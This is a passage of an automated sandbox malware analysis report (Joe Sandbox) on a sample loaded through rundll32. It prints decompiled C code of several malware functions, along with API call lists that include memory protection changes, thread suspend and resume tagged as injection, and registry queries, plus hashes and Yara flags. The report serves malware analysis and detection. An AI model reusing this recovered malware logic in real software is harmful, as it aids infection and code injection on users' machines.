                          • WaitForSingleObject.KERNEL32(00000000,?,?,?,04C77168,?,04C77168,?,?,?,?,?,04C77168,?), ref: 04C77290
                          • RegCloseKey.ADVAPI32(?,00000104,00000000,?,?,?,?,?,04C77168,?), ref: 04C772B8
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocateCloseEnumHeapObjectOpenSingleWait
                          • String ID: !]t
                          • API String ID: 3664505660-1252899741
                          • Opcode ID: 39c51aab6353cee9e976d24fd9fce171f81e47f673a121f071df9cf705d1fc70
                          • Instruction ID: 0dd1124b56037d19297ce6c6c5ef8edb891a6aea875282e30ad99c47ac29176d
                          • Opcode Fuzzy Hash: 39c51aab6353cee9e976d24fd9fce171f81e47f673a121f071df9cf705d1fc70
                          • Instruction Fuzzy Hash: 12313875D0111DEFDF21AFA5D8849FEFEBAFB48710F114426FA21B2110D2752A50DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C73D2C Relevance: 7.7, APIs: 5, Instructions: 159memoryCOMMON
                          Download Yara Rule
                          C-Code - Quality: 57%
                          			E04C73D2C(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				void* _t49;
				void* _t51;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t63;
				CHAR* _t67;
				CHAR* _t68;
				char* _t69;
				void* _t70;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04C73CFD();
				if(_t21 != 0) {
					_t59 =  *0x4c7a2fc; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x4c7a2fc = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x4c7a178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E04C7389E( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x4c7a348; // 0x5cd5a8
					if( *0x4c7a2fc > 5) {
						_t8 = _t26 + 0x4c7b5c5; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x4c7b9fd; // 0x44283a44
						_t27 = _t7;
					}
					E04C76B80(_t27, _t27);
					_t31 = E04C776BB(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t63 = 5;
					if(_t54 != _t63) {
						 *0x4c7a310 =  *0x4c7a310 ^ 0x81bbe65d;
						_t32 = E04C76D63(0x60);
						 *0x4c7a3cc = _t32;
						__eflags = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x4c7a3cc; // 0x52495b0
							_t70 = _t70 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x4c7a3cc; // 0x52495b0
							 *_t51 = 0x4c7b827;
						}
						_t54 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x4c7a2d8, 0, 0x43);
							 *0x4c7a368 = _t36;
							__eflags = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x4c7a2fc; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x4c7a348; // 0x5cd5a8
								_t13 = _t58 + 0x4c7b552; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x4c79287);
							}
							_t54 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04C73365( ~_v8 &  *0x4c7a310, 0x4c7a00c); // executed
								_t42 = E04C71645(0, _t55, _t63, 0x4c7a00c); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E04C73981(); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t67 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E04C7661D(_t61, _t67, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t67;
									if(__eflags == 0) {
										goto L30;
									}
									_t54 = E04C7529C(__eflags,  &(_t67[4]));
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t68 = _v12;
						if(_t68 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x4c7a17c(); // executed
							}
							goto L34;
						}
						_t69 =  &(_t68[4]);
						do {
						} while (E04C77928(_t63, _t69, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}































                          0x04c73d2c
                          0x04c73d36
                          0x04c73d39
                          0x04c73d3c
                          0x04c73d3f
                          0x04c73d46
                          0x04c73d48
                          0x04c73d54
                          0x04c73d56
                          0x04c73d56
                          0x04c73d5f
                          0x04c73d65
                          0x04c73d6a
                          0x04c73d84
                          0x04c73d90
                          0x04c73d92
                          0x04c73d97
                          0x04c73da1
                          0x04c73da1
                          0x04c73d99
                          0x04c73d99
                          0x04c73d99
                          0x04c73d99
                          0x04c73da8
                          0x04c73db5
                          0x04c73dbc
                          0x04c73dc1
                          0x04c73dc1
                          0x04c73dca
                          0x04c73dcd
                          0x04c73df3
                          0x04c73dff
                          0x04c73e04
                          0x04c73e09
                          0x04c73e0b
                          0x04c73e37
                          0x04c73e39
                          0x04c73e0d
                          0x04c73e11
                          0x04c73e16
                          0x04c73e1b
                          0x04c73e22
                          0x04c73e28
                          0x04c73e2d
                          0x04c73e33
                          0x04c73e3a
                          0x04c73e3c
                          0x04c73e3e
                          0x04c73e4d
                          0x04c73e53
                          0x04c73e58
                          0x04c73e5a
                          0x04c73e8a
                          0x04c73e8c
                          0x04c73e5c
                          0x04c73e5c
                          0x04c73e62
                          0x04c73e6f
                          0x04c73e75
                          0x04c73e75
                          0x04c73e7d
                          0x04c73e86
                          0x04c73e8d
                          0x04c73e8f
                          0x04c73e91
                          0x04c73e98
                          0x04c73ea5
                          0x04c73eaa
                          0x04c73eaf
                          0x04c73eb1
                          0x04c73eb3
                          0x00000000
                          0x00000000
                          0x04c73eb5
                          0x04c73eba
                          0x04c73ebc
                          0x04c73ec3
                          0x04c73ec7
                          0x04c73eca
                          0x04c73edf
                          0x04c73ee3
                          0x04c73ee8
                          0x00000000
                          0x04c73ee8
                          0x04c73ecc
                          0x04c73ece
                          0x00000000
                          0x00000000
                          0x04c73ed9
                          0x04c73edb
                          0x04c73edd
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c73edd
                          0x04c73ec0
                          0x04c73ec0
                          0x04c73e91
                          0x04c73dcf
                          0x04c73dcf
                          0x04c73dd4
                          0x04c73eea
                          0x04c73eef
                          0x04c73ef7
                          0x04c73ef7
                          0x00000000
                          0x04c73eef
                          0x04c73dda
                          0x04c73ddd
                          0x04c73de7
                          0x04c73dee
                          0x00000000
                          0x04c73eff
                          0x04c73eff
                          0x04c73f02
                          0x04c73f06
                          0x04c73f06

                          APIs
                            • Part of subcall function 04C73CFD: GetModuleHandleA.KERNEL32(4C44544E,00000000,04C73D44,00000001), ref: 04C73D0C
                          • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04C73DC1
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • memset.NTDLL ref: 04C73E11
                          • RtlInitializeCriticalSection.NTDLL(05249570), ref: 04C73E22
                            • Part of subcall function 04C7529C: memset.NTDLL ref: 04C752B6
                            • Part of subcall function 04C7529C: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04C752FC
                            • Part of subcall function 04C7529C: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 04C75307
                          • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04C73E4D
                          • wsprintfA.USER32 ref: 04C73E7D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
                          • String ID:
                          • API String ID: 4246211962-0
                          • Opcode ID: 38dbd1ce41f740e936ef4199b0bb23a92ccaf2b20387d3902deac9ca8bbbfd5d
                          • Instruction ID: dd4f4eaa4e28a5f90bb21c0d74c379190dd6513643b1c361fcaaed934fce1b4b
                          • Opcode Fuzzy Hash: 38dbd1ce41f740e936ef4199b0bb23a92ccaf2b20387d3902deac9ca8bbbfd5d
                          • Instruction Fuzzy Hash: A7510475B40255ABEB11EFA5DC84F6E37BAEB08714F044825E901D72A0E77ABE40EB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C719E2 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145stringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 22%
                          			E04C719E2(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E04C76D63(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E04C76C2C(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E04C76D63((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x4c7a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}





















                          0x04c719e9
                          0x04c719f0
                          0x04c719f5
                          0x04c719f8
                          0x04c719ff
                          0x04c71a02
                          0x04c71a05
                          0x04c71a0a
                          0x04c71a0f
                          0x04c71b63
                          0x04c71b65
                          0x04c71b67
                          0x04c71b6c
                          0x04c71b6c
                          0x04c71a15
                          0x04c71a18
                          0x04c71a1b
                          0x04c71a1d
                          0x04c71a1d
                          0x04c71a21
                          0x00000000
                          0x00000000
                          0x04c71a25
                          0x04c71a51
                          0x04c71a56
                          0x04c71a58
                          0x04c71a58
                          0x04c71a5b
                          0x04c71a5e
                          0x04c71a5e
                          0x04c71a60
                          0x00000000
                          0x04c71a2b
                          0x04c71a2d
                          0x04c71a4c
                          0x04c71a4c
                          0x04c71a63
                          0x04c71a63
                          0x04c71a64
                          0x04c71a64
                          0x04c71a67
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c71a67
                          0x04c71a31
                          0x04c71a78
                          0x04c71a7c
                          0x04c71b56
                          0x04c71b58
                          0x04c71b58
                          0x04c71b59
                          0x04c71b5c
                          0x00000000
                          0x04c71b5c
                          0x04c71a85
                          0x04c71a96
                          0x04c71a9a
                          0x04c71b52
                          0x00000000
                          0x04c71b52
                          0x04c71aa0
                          0x04c71aa3
                          0x04c71aa7
                          0x04c71aab
                          0x04c71ab0
                          0x04c71b48
                          0x04c71b48
                          0x00000000
                          0x04c71b4e
                          0x04c71abb
                          0x04c71ac4
                          0x04c71ad8
                          0x04c71adf
                          0x04c71af4
                          0x04c71afa
                          0x04c71b02
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c71b04
                          0x04c71b04
                          0x04c71b04
                          0x04c71b0b
                          0x04c71b13
                          0x00000000
                          0x00000000
                          0x04c71b15
                          0x04c71b1e
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c71b20
                          0x04c71b22
                          0x04c71b25
                          0x04c71b25
                          0x04c71b28
                          0x04c71b2c
                          0x04c71b2f
                          0x04c71b35
                          0x04c71b38
                          0x04c71b3f
                          0x00000000
                          0x04c71abb
                          0x04c71a36
                          0x04c71a3e
                          0x04c71a44
                          0x04c71a46
                          0x04c71a46
                          0x04c71a49
                          0x04c71a4b
                          0x00000000
                          0x04c71a4b
                          0x04c71a25
                          0x04c71a6b
                          0x04c71a70
                          0x04c71a72
                          0x04c71a72
                          0x04c71a75
                          0x04c71a75
                          0x00000000

                          APIs
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • lstrcpy.KERNEL32(69B25F45,00000020), ref: 04C71ADF
                          • lstrcat.KERNEL32(69B25F45,00000020), ref: 04C71AF4
                          • lstrcmp.KERNEL32(00000000,69B25F45), ref: 04C71B0B
                          • lstrlen.KERNEL32(69B25F45), ref: 04C71B2F
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
                          • String ID:
                          • API String ID: 3214092121-3916222277
                          • Opcode ID: c4f1ef28d4cf6a98eab32f5dc2808c9e98533e31940d5eb55384cedafe9cb834
                          • Instruction ID: b003431b8e3fa87ab98fd13de2e6023f1dd3dcdd8b8cc124f1826fb0cc1b9ef7
                          • Opcode Fuzzy Hash: c4f1ef28d4cf6a98eab32f5dc2808c9e98533e31940d5eb55384cedafe9cb834
                          • Instruction Fuzzy Hash: 44518F71A00208EBDB21CF99C485BADBBB7FF45364F19C16AE8159B301DB70AB41CB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7498E Relevance: 7.6, APIs: 5, Instructions: 96synchronizationCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C7498E(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				long _t14;
				void* _t18;
				WCHAR* _t19;
				long _t20;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				WCHAR** _t32;

				_t6 =  *0x4c7a310; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x4c7a348; // 0x5cd5a8
				_t3 = _t8 + 0x4c7b87a; // 0x61636f4c
				_t25 = 0;
				_t30 = E04C711C3(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x4c7a34c, 1, 0, _t30);
					E04C76C2C(_t30);
				}
				_t12 =  *0x4c7a2fc; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t14 = E04C7402A(_t32, 0); // executed
					_t31 = _t14;
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t18 = E04C768BD(); // executed
					if(_t18 != 0) {
						goto L12;
					}
					_t19 = StrChrW( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 =  &(_t19[1]);
					}
					_t20 = E04C77928(0,  *_t32, _t19, 0); // executed
					_t31 = _t20;
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								FindCloseChangeNotification(_t25); // executed
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

















                          0x04c7498f
                          0x04c74996
                          0x04c749a0
                          0x04c749a4
                          0x04c749aa
                          0x04c749b9
                          0x04c749c0
                          0x04c749c4
                          0x04c749d6
                          0x04c749d8
                          0x04c749d8
                          0x04c749dd
                          0x04c749e4
                          0x04c74a3b
                          0x04c74a3b
                          0x04c74a41
                          0x04c74a43
                          0x04c74a43
                          0x04c74a48
                          0x04c74a4d
                          0x04c74a51
                          0x04c74a63
                          0x04c74a63
                          0x04c74a67
                          0x04c74a6d
                          0x04c74a6d
                          0x00000000
                          0x04c749f4
                          0x04c749f4
                          0x04c749fb
                          0x00000000
                          0x00000000
                          0x04c74a02
                          0x04c74a0a
                          0x04c74a0e
                          0x04c74a12
                          0x04c74a12
                          0x04c74a1a
                          0x04c74a1f
                          0x04c74a23
                          0x04c74a27
                          0x04c74a7c
                          0x04c74a82
                          0x04c74a82
                          0x04c74a35
                          0x04c74a39
                          0x04c74a70
                          0x04c74a72
                          0x04c74a75
                          0x04c74a75
                          0x00000000
                          0x04c74a72
                          0x04c74a39
                          0x00000000
                          0x04c74a23

                          APIs
                            • Part of subcall function 04C711C3: lstrlen.KERNEL32(00000005,00000000,69B25F44,00000027,00000000,05249D70,00000000,?,?,69B25F44,00000005,04C7A00C,4D283A53,?,?), ref: 04C711F9
                            • Part of subcall function 04C711C3: lstrcpy.KERNEL32(00000000,00000000), ref: 04C7121D
                            • Part of subcall function 04C711C3: lstrcat.KERNEL32(00000000,00000000), ref: 04C71225
                          • CreateEventA.KERNEL32(04C7A34C,00000001,00000000,00000000,61636F4C,00000001,00000000,?,?,00000000,?,04C77187,?,?,?), ref: 04C749CF
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          • StrChrW.SHLWAPI(04C77187,00000020,61636F4C,00000001,00000000,?,?,00000000,?,04C77187,?,?,?), ref: 04C74A02
                          • WaitForSingleObject.KERNEL32(00000000,00004E20,04C77187,00000000,00000000,?,00000000,?,04C77187,?,?,?), ref: 04C74A2F
                          • WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,?,?,00000000,?,04C77187,?,?,?), ref: 04C74A5D
                          • FindCloseChangeNotification.KERNEL32(00000000,61636F4C,00000001,00000000,?,?,00000000,?,04C77187,?,?,?), ref: 04C74A75
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: ObjectSingleWait$ChangeCloseCreateEventFindFreeHeapNotificationlstrcatlstrcpylstrlen
                          • String ID:
                          • API String ID: 3294472205-0
                          • Opcode ID: 608ecf7a0591a48c8a4629efdf7d2b3d5c2219b05e72c6887a8b129e5bd593e0
                          • Instruction ID: 4d17eca613dd619b9ed7454f3521a0e4b3a75a899a7f8fc0f86e27d18d49f845
                          • Opcode Fuzzy Hash: 608ecf7a0591a48c8a4629efdf7d2b3d5c2219b05e72c6887a8b129e5bd593e0
                          • Instruction Fuzzy Hash: E621F372600311ABD7359E78AC84B7E72ABEB88B35B054A35FD55EB141EB35ED00868C
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1ECA Relevance: 7.6, APIs: 5, Instructions: 67registrymemoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CCB7A4: RegCreateKeyA.ADVAPI32(80000001,060DB7F0,?), ref: 04CCB7B9
                            • Part of subcall function 04CCB7A4: lstrlen.KERNEL32(060DB7F0,00000000,00000000,00000000,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C,00000008,00000003), ref: 04CCB7E2
                          • RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                          • HeapFree.KERNEL32(00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F4C
                          • RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: HeapQueryValue$AllocateCloseCreateFreelstrlen
                          • String ID:
                          • API String ID: 1633053242-0
                          • Opcode ID: f9fb88372f04cdf5fa1574534cd3b142ceaab5288aecb8cf6eb0c4b7625e055e
                          • Instruction ID: a30d08b93ffe4cf46edef7c276ba28cabf7dcbe79b1d7fcaac09531b4fe16da4
                          • Opcode Fuzzy Hash: f9fb88372f04cdf5fa1574534cd3b142ceaab5288aecb8cf6eb0c4b7625e055e
                          • Instruction Fuzzy Hash: 49116DBA100149FFDF019F94DC84DAE7B7EFB88354B15042AFA05D3110EB32AE549B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC212C Relevance: 7.5, APIs: 5, Instructions: 48libraryloaderCOMMON
                          Download Yara Rule
                          APIs
                          • GetModuleHandleA.KERNEL32(?,?,?,?,?,04CB111D,00000000), ref: 04CC214D
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CC2166
                          • OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,04CB111D,00000000), ref: 04CC2183
                          • IsWow64Process.KERNEL32(?,?,?,?,?,?,04CB111D,00000000), ref: 04CC2194
                          • FindCloseChangeNotification.KERNEL32(?,?,?,?,04CB111D,00000000), ref: 04CC21A7
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Process$AddressChangeCloseFindHandleModuleNotificationOpenProcWow64
                          • String ID:
                          • API String ID: 1712524627-0
                          • Opcode ID: 32b14bd940e58ab01ee8beeffe2e2f3ddee6e71075a8d4cdb7ff3bdcace1b20e
                          • Instruction ID: 85d513197a65f9ec828835adfcba80d12d52da729062b608d4d259f2098cb27a
                          • Opcode Fuzzy Hash: 32b14bd940e58ab01ee8beeffe2e2f3ddee6e71075a8d4cdb7ff3bdcace1b20e
                          • Instruction Fuzzy Hash: D701F57D801204FFCB11DFA4EC48A9A7BB8FB89791710426AFA05C3200E339AF41CB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB33A5 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON
                          Download Yara Rule
                          APIs
                          • VirtualProtect.KERNEL32(?,?,00000040,?,?,?,00000000), ref: 04CB33CA
                          • GetLastError.KERNEL32(?,00000000), ref: 04CB33D2
                          • VirtualQuery.KERNEL32(?,?,0000001C,?,00000000), ref: 04CB33E9
                          • VirtualProtect.KERNEL32(?,?,-2C9B417C,?,?,00000000), ref: 04CB340E
                          • SetLastError.KERNEL32(80000000,?,00000000), ref: 04CB3417
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Virtual$ErrorLastProtect$Query
                          • String ID:
                          • API String ID: 148356745-0
                          • Opcode ID: 0e7a1a165a9031e2d62d455500923defd0ca1a07d8fa6484816fe08e276a0cdd
                          • Instruction ID: f0ce6f6572fe111bcad960f96b6dccf8509b819c058ba78b3064f1f935a1bca7
                          • Opcode Fuzzy Hash: 0e7a1a165a9031e2d62d455500923defd0ca1a07d8fa6484816fe08e276a0cdd
                          • Instruction Fuzzy Hash: 0D01297A501209FFDF129F95DC449EEBFB9EF0D254B008026F941D2220D771AA14AFA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCED07 Relevance: 6.1, APIs: 4, Instructions: 110threadsynchronizationinjectionCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CCED35
                          • ResumeThread.KERNEL32(?,?,00000004,00000004,?,?,?,?,?,00000004,?), ref: 04CCEDBF
                          • WaitForSingleObject.KERNEL32(00000064), ref: 04CCEDCD
                          • SuspendThread.KERNEL32(?), ref: 04CCEDE0
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Thread$ObjectResumeSingleSuspendWaitmemset
                          • String ID:
                          • API String ID: 3168247402-0
                          • Opcode ID: 8adf7a077a10940e340eb3741e1b571c8fd6438d8807c8df462e6bf639e50ddb
                          • Instruction ID: ceb0e855c2834c887734247601af4363f6a40cab383df957ee58c7a6ed135844
